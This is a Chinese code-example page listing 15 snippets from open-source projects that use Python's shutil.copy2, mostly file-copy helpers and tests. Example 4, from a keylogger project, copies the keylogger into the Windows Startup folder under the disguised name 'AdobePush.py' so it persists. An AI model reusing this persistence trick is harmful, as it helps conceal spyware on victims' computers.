当前位置: 首页>>代码示例>>Python>>正文


Python shutil.copy2方法代码示例

本文整理汇总了Python中shutil.copy2方法的典型用法代码示例。如果您正苦于以下问题:Python shutil.copy2方法的具体用法?Python shutil.copy2怎么用?Python shutil.copy2使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在shutil的用法示例。


在下文中一共展示了shutil.copy2方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: SyncShadowHash

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def SyncShadowHash(username, shadow_name):
  """Sync the password hash for the shadow admin account with the user's."""
  shadow_guid = UserAttribute(shadow_name, 'GeneratedUID')
  user_hash = '/var/db/shadow/hash/%s' % username
  if not os.path.exists(user_hash):
    user_guid = UserAttribute(username, 'GeneratedUID')[0]
    user_hash = '/var/db/shadow/hash/%s' % user_guid
  shadow_hash = '/var/db/shadow/hash/%s' % shadow_guid[0]

  try:
    if (os.path.exists(shadow_hash)
        and os.path.isfile(shadow_hash)
        and filecmp.cmp(user_hash, shadow_hash, shallow=False)):
      # everything is as should be
      pass
    else:
      shutil.copy2(user_hash, shadow_hash)
  except (IOError, OSError), err:
    raise DSException('Error creating the shadow admin hash for '
                      '%s-admin: %s' % (username, err)) 
开发者ID:google,项目名称:macops,代码行数:22,代码来源:ds.py

示例2: test_copy_recurse_overwrite

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def test_copy_recurse_overwrite():
    # Check that copy_recurse won't overwrite pre-existing libs
    with InTemporaryDirectory():
        # Get some fixed up libraries to play with
        os.makedirs('libcopy')
        test_lib, liba, libb, libc = _copy_fixpath(
            [TEST_LIB, LIBA, LIBB, LIBC], 'libcopy')
        # Filter system libs

        def filt_func(libname):
            return not libname.startswith('/usr/lib')
        os.makedirs('subtree')
        # libb depends on liba
        shutil.copy2(libb, 'subtree')
        # If liba is already present, barf
        shutil.copy2(liba, 'subtree')
        assert_raises(DelocationError, copy_recurse, 'subtree', filt_func)
        # Works if liba not present
        os.unlink(pjoin('subtree', 'liba.dylib'))
        copy_recurse('subtree', filt_func) 
开发者ID:matthew-brett,项目名称:delocate,代码行数:22,代码来源:test_delocating.py

示例3: moveDictFiles

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def moveDictFiles(myDict,folderName):
    """ This Script copies the OB.csv files to the makeSimilar_Template folder
    """
    originalFileNames = list()
    copiedFileNames = list()
    for k, v in myDict.iteritems():
        if type(v) is dict:
            tmpOrigList, tmpCopiedList = moveDictFiles(v,folderName)
            if not tmpOrigList == list():
                originalFileNames.append(tmpOrigList)
                copiedFileNames.append(tmpCopiedList)
        else:
            try:
                if os.path.isfile(v):#Is a file that is located locally
                    fname = 'auto_' + folderName + v
                    shutil.copy2('./' + v,'./' + folderName + '/' + fname) #Here we copy the file to the run directory
                    originalFileNames.append(v)
                    copiedFileNames.append(fname)
            except:
                pass
    return originalFileNames, copiedFileNames 
开发者ID:dsavransky,项目名称:EXOSIMS,代码行数:23,代码来源:makeSimilarScripts.py

示例4: copytostartup

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def copytostartup():
    try:
        #-----------------------
        originalfilename = "Radiumkeylogger.py"  #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py
        #-----------------------
        #-----------------------
        coppiedfilename = 'AdobePush.py'    #The file will be copied to startup folder by this name
        #-----------------------
        copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
        copyfromdir = currentdir + "\\" + originalfilename

        filesindir = os.listdir(copytodir)

        if coppiedfilename not in filesindir:
            try:
                shutil.copy2(copyfromdir, copytodir + coppiedfilename)
            except Exception as e:
                print e

    except Exception as e:
        print e

    return True

#Function to list directories content upto 3 level 
开发者ID:mehulj94,项目名称:Radium,代码行数:27,代码来源:Radiumkeylogger.py

示例5: get_torrent2http_binary

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def get_torrent2http_binary():
    binary = "torrent2http%s" % (PLATFORM["os"] == "windows" and ".exe" or "")

    binary_dir = get_binary_dir()
    binary_path = os.path.join(binary_dir, binary)
    platform = PLATFORM.copy()
    if platform["os"] == "darwin": # 64 bits anyway on Darwin
        platform["arch"] = "x64"
    elif platform["os"] == "windows": # 32 bits anyway on Windows
        platform["arch"] = "x86"

    default_binary_dir = os.path.join(RESOURCES_PATH, "bin", "%(os)s_%(arch)s" % platform)
    default_binary_path = os.path.join(default_binary_dir, binary)

    # On Android, we need to copy torrent2http to ext4, since the sdcard is noexec
    platform = PLATFORM.copy()
    if platform["os"] == "android":
        android_binary_dir = get_binary_dir()
        android_binary_path = os.path.join(android_binary_dir, binary)
        if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(default_binary_path):
            import shutil
            shutil.copy2(default_binary_path, android_binary_path)
        binary_path = android_binary_path
        binary_dir = android_binary_dir
    return binary_dir, ensure_exec_perms(binary_path) 
开发者ID:jmarth,项目名称:plugin.video.kmediatorrent,代码行数:27,代码来源:torrent2http.py

示例6: keepJsonFilesWhenUpdate

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def keepJsonFilesWhenUpdate(self, currentDir, tempUpdateDir, *args):
        """ Check in given folder if we have custom json files and keep then when we install a new update.
            It will just check if there are user created json files, and copy them to temporary extracted update folder.
            So when the install overwrite all files, they will be copied (restored) again.
        """
        newUpdateList = []
        # list all new json files:
        for newRoot, newDirectories, newFiles in os.walk(tempUpdateDir):
            for newItem in newFiles:
                if newItem.endswith('.json'):
                    newUpdateList.append(newItem)
        
        # check if some current json file is a custom file created by user to copy it to new update directory in order to avoid overwrite it:
        for currentRoot, currentDirectories, currentFiles in os.walk(currentDir):
            for currentItem in currentFiles:
                if currentItem.endswith('.json'):
                    if not currentItem in newUpdateList:
                        # found custom file, then copy it to keep when install the new update
                        shutil.copy2(os.path.join(currentRoot, currentItem), tempUpdateDir) 
开发者ID:nilouco,项目名称:dpAutoRigSystem,代码行数:21,代码来源:dpAutoRig.py

示例7: copytree

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def copytree(src, dst, symlinks=False, ignore=shutil.ignore_patterns('.*', '_*')):
    """
    Copy Entire Folder
    :param src: source path
    :param dst: destination path
    :param symlinks: optional
    :param ignore: pass shutil.ignore_patterns('.*', '_*')
    :return:
    """
    for item in os.listdir(src):
        s = os.path.join(src, item)
        d = os.path.join(dst, item)
        if os.path.isdir(s):
            shutil.copytree(s, d, symlinks, ignore)
        else:
            shutil.copy2(s, d) 
开发者ID:adwuard,项目名称:OP_Manager,代码行数:18,代码来源:file_util.py

示例8: pypi

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def pypi(self, tmpdir):
        conf = Configuration()
        path = str(tmpdir)
        src = Path(__file__).parent / "src/rlsbot-test"
        shutil.copy2(str(src / "setup.py"), path)
        shutil.copy2(str(src / "rlsbot_test.py"), path)
        self.run_cmd("git init .", work_directory=str(tmpdir))
        set_git_credentials(str(tmpdir), "Release Bot", "bot@example.com")
        self.run_cmd("git add .", work_directory=str(tmpdir))
        self.run_cmd("git commit -m 'initial commit'", work_directory=str(tmpdir))
        git_repo = Git(str(tmpdir), conf)
        pypi = PyPi(configuration, git_repo)
        (flexmock(pypi)
         .should_receive("upload")
         .replace_with(lambda x: None))
        return pypi 
开发者ID:user-cont,项目名称:release-bot,代码行数:18,代码来源:test_pypi.py

示例9: createuser

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def createuser(fn, ln, user, group, homedir):
   # Create backups
   ts = strftime("%Y.%m.%d %H:%M:%S")
   shutil.copy2(pasfile, pasfile + "." + ts)
   shutil.copy2(shafile, shafile + "." + ts)
   uid = getuid(user)
   s = ' '.join(["useradd -c \"%s %s\" -m -d %s " % (fn, ln, homedir),
             "-u %s -g %s %s 1> /dev/null 2>&1" % (uid, group, user)])
   result = subprocess.call(s, shell=True)
   # Failure?
   if not result == 0:
      print red + "Error in creating user %s" % user + end
      os.remove(pasfile + "." + ts)
      os.remove(shafile + "." + ts)
   else: print green + "Created user %s" % user + end
   return result 
开发者ID:jose-delarosa,项目名称:sysadmin-tools,代码行数:18,代码来源:addauser.py

示例10: install_user_service

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def install_user_service(service_file, socket_file):
    """
    Installs the service file and socket file into the xinetd
    service directory, sets the service to start on boot, and
    starts the service now.

    Args:
        service_file: The path to the systemd service file to install
        socket_file: The path to the systemd socket file to install
    """

    if service_file is None:
        return
    service_name = os.path.basename(service_file)

    logger.debug("...Installing user service '%s'.", service_name)

    # copy service file
    service_path = os.path.join(XINETD_SERVICE_PATH, service_name)
    shutil.copy2(service_file, service_path) 
开发者ID:picoCTF,项目名称:picoCTF,代码行数:22,代码来源:deploy.py

示例11: tmp_demo_apk_v10_rebuild_path

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def tmp_demo_apk_v10_rebuild_path(tmp_path) -> str:
    """
    Return a path to a valid demo apk file generated with Apktool (different path for
    each test, but the apk file is the same). This can be useful to test signing and
    aligning.
    """
    source = (
        Path(__file__)
        .resolve()
        .parent.joinpath(
            "test_resources", "v1.0", "com.obfuscapk.demo.v1.0-rebuild.apk"
        )
    )
    destination = tmp_path.joinpath("com.obfuscapk.demo.v1.0-rebuild.apk")
    destination = shutil.copy2(source, destination)
    return str(destination) 
开发者ID:ClaudiuGeorgiu,项目名称:Obfuscapk,代码行数:18,代码来源:test_fixtures.py

示例12: refilemessages

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def refilemessages(self, list, tofolder, keepsequences=0):
        """Refile one or more messages -- may raise os.error.
        'tofolder' is an open folder object."""
        errors = []
        refiled = {}
        for n in list:
            ton = tofolder.getlast() + 1
            path = self.getmessagefilename(n)
            topath = tofolder.getmessagefilename(ton)
            try:
                os.rename(path, topath)
            except os.error:
                # Try copying
                try:
                    shutil.copy2(path, topath)
                    os.unlink(path)
                except (IOError, os.error), msg:
                    errors.append(msg)
                    try:
                        os.unlink(topath)
                    except os.error:
                        pass
                    continue
            tofolder.setlast(ton)
            refiled[n] = ton 
开发者ID:glmcdona,项目名称:meddle,代码行数:27,代码来源:mhlib.py

示例13: copymessage

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def copymessage(self, n, tofolder, ton):
        """Copy one message over a specific destination message,
        which may or may not already exist."""
        path = self.getmessagefilename(n)
        # Open it to check that it exists
        f = open(path)
        f.close()
        del f
        topath = tofolder.getmessagefilename(ton)
        backuptopath = tofolder.getmessagefilename(',%d' % ton)
        try:
            os.rename(topath, backuptopath)
        except os.error:
            pass
        ok = 0
        try:
            tofolder.setlast(None)
            shutil.copy2(path, topath)
            ok = 1
        finally:
            if not ok:
                try:
                    os.unlink(topath)
                except os.error:
                    pass 
开发者ID:glmcdona,项目名称:meddle,代码行数:27,代码来源:mhlib.py

示例14: test_dont_reconvert_old_files_test

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def test_dont_reconvert_old_files_test(self):
        converter = Converter()
        os.chdir(os.path.join(self.converter_tests_resource_path, "dont_reconvert_old_files_test"))
        converter.input_dir = "Assets"
        converter.output_dir = self.converter_output_tests_resource_path

        converter.convert()

        sha1_of_generated_files = []
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        shutil.copy2(os.path.join(converter.input_dir, "test-01.eps"), os.path.join(converter.input_dir, "test-02.eps"))
        converter.convert()

        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        self.assertEqual(sha1_of_generated_files[0], sha1_of_generated_files[2])
        self.assertNotEqual(sha1_of_generated_files[1], sha1_of_generated_files[3]) 
开发者ID:Polidea,项目名称:basset-ios,代码行数:22,代码来源:test_converter.py

示例15: _copy_fixpath

# 需要导入模块: import shutil [as 别名]
# 或者: from shutil import copy2 [as 别名]
def _copy_fixpath(files, directory):
    new_fnames = []
    for fname in files:
        shutil.copy2(fname, directory)
        new_fname = pjoin(directory, basename(fname))
        for name in get_install_names(fname):
            if name.startswith('lib'):
                set_install_name(new_fname, name, pjoin(directory, name))
        new_fnames.append(new_fname)
    return new_fnames 
开发者ID:matthew-brett,项目名称:delocate,代码行数:12,代码来源:test_delocating.py


注:本文中的shutil.copy2方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。